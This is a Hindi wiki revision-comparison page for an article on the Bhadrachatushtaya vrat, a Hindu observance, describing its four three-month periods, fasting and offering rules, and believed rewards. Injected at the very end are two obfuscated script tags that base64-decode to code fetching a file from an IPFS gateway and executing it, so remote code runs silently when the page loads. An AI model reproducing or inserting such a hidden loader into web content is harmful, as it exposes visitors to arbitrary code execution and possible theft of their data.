भद्रचतुष्टय व्रत: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "ref>(" to "ref>") |
व्यवस्थापन (talk | contribs) m (Text replace - ")</ref" to "</ref") |
||
Line 8: | Line 8: | ||
*सांय चन्द्र को अर्ध्य, पृथ्वी पर या पत्थर पर रखा भोजन करना चाहिए। | *सांय चन्द्र को अर्ध्य, पृथ्वी पर या पत्थर पर रखा भोजन करना चाहिए। | ||
*यह व्रत एक वर्ष तक सभी वर्णों एवं स्त्रियों के लिए है। | *यह व्रत एक वर्ष तक सभी वर्णों एवं स्त्रियों के लिए है। | ||
*ऐसी मान्यता है कि कर्ता को यश एवं सफलता की प्राप्ति और वह अपने पूर्व जन्मों का स्मरण कर लेता है।<ref>जातिस्मर | *ऐसी मान्यता है कि कर्ता को यश एवं सफलता की प्राप्ति और वह अपने पूर्व जन्मों का स्मरण कर लेता है।<ref>जातिस्मर</ref>; <ref>हेमाद्रि (व्रतखण्ड 2, 383-392, भविष्योत्तरपुराण 13|1-100</ref> | ||
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} |
Latest revision as of 12:49, 27 July 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- चार भद्र हैं, यथा–
- फाल्गुन शुक्ल द्वितीया से तीन मास (त्रिपुष्कर या त्रिपुष्प),
- ज्येष्ठ शुक्ल द्वितीया से तीन मास (त्रिपुष्पक),
- भाद्रपद शुक्ल द्वितीया से तीन मास (त्रिरामा) एवं
- मार्गशीर्ष शुक्ल प्रतिपदा से (विष्णुपद)।
- प्रथम तिथि पर नक्त विधि, दूसरी तिथि पर स्नानोपरान्त देवों, पितरों एवं मानवों को तर्पण, चन्द्रोदय के पूर्व हँसना एवं बोलना वर्जित तथा कृष्ण, अनन्त, ह्रषीकेश का नाम द्वितीया से पंचमी तक तिथियों में लेना चाहिए।
- सांय चन्द्र को अर्ध्य, पृथ्वी पर या पत्थर पर रखा भोजन करना चाहिए।
- यह व्रत एक वर्ष तक सभी वर्णों एवं स्त्रियों के लिए है।
- ऐसी मान्यता है कि कर्ता को यश एवं सफलता की प्राप्ति और वह अपने पूर्व जन्मों का स्मरण कर लेता है।[1]; [2]
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>